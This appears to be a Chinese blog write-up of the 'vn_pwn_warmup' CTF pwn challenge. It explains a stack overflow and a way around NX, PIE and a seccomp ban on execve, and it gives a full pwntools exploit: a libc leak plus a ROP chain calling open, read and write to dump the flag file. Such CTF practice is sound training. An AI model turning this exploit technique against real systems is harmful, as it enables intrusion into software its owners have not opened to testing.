vn_pwn_warmup 你的名字 2023-02-24 08:57 2阅读 0赞 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70] 可以看到第二个read才存在溢出,但是因为两个函数帧栈是紧挨着的,只有rbp与call指令下一条指令的地址即返回地址,这里可以溢出0x10字节大小的数据,即rbp + ret,然后就回到了第一个read所在的函数帧栈,此时可以接着利用构造rop读取flag即可… 这道题开的保护挺多的,首先栈不可执行,其次地址随机化,也就是当前elf文件每次装载到内存中的位置都是变动的,因为无法获取装载基址,所以构造的rop只能从泄露的libc中获取,同样构造的缓冲区也是libc对应的可读写位置. ![在这里插入图片描述][20200711192155846.png] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 2] 0是标准输入,1是标准输出,2是标准错误。如果此时去打开一个新的文件,它的文件描述符会是3。 上面可以看到execve被禁用了 所以构造rop调用open read write读取flag即可… exp from pwn import * from LibcSearcher import * context.log_level = 'debug' proc_name = './vn_pwn_warmup' p = process(proc_name) p = remote('node3.buuoj.cn', 27192) elf = ELF(proc_name) p.recvuntil('gift: ') puts_addr = int(p.recv(14), 16) log.info(hex(puts_addr)) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') read_addr = libc_base + libc.dump('read') open_addr = libc_base + libc.dump('open') write_addr = libc_base + libc.dump('write') pop_rdi_ret = libc_base + 0x21102 pop_rsi_ret = libc_base + 0x202e8 pop_rdx_ret = libc_base + 0x1b92 ret = libc_base + 0x937 wr_addr = libc_base + 0x3c4000 payload = p64(0) + p64(pop_rsi_ret) + p64(wr_addr) + p64(pop_rdx_ret) + p64(0x8) + p64(read_addr) + p64(pop_rdi_ret) + p64(wr_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) + p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(wr_addr) + p64(pop_rdx_ret) + p64(0x30) + p64(read_addr) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(wr_addr) + p64(pop_rdx_ret) + p64(0x30) + p64(write_addr) p.sendafter('something:', payload) payload1 = b'a' * (0x70 + 8) + p64(pop_rdi_ret) p.sendafter('name?', payload1) p.send(b'./flag') print(p.recv()) ![在这里插入图片描述][20200711205019807.png] [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]: /images/20230209/4b971e1c24974aaeb71f5c28a80bcceb.png [20200711192155846.png]: https://img-blog.csdnimg.cn/20200711192155846.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200711192255735.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70 [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20200711192123929.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70 [20200711205019807.png]: https://img-blog.csdnimg.cn/20200711205019807.png
还没有评论,来说两句吧...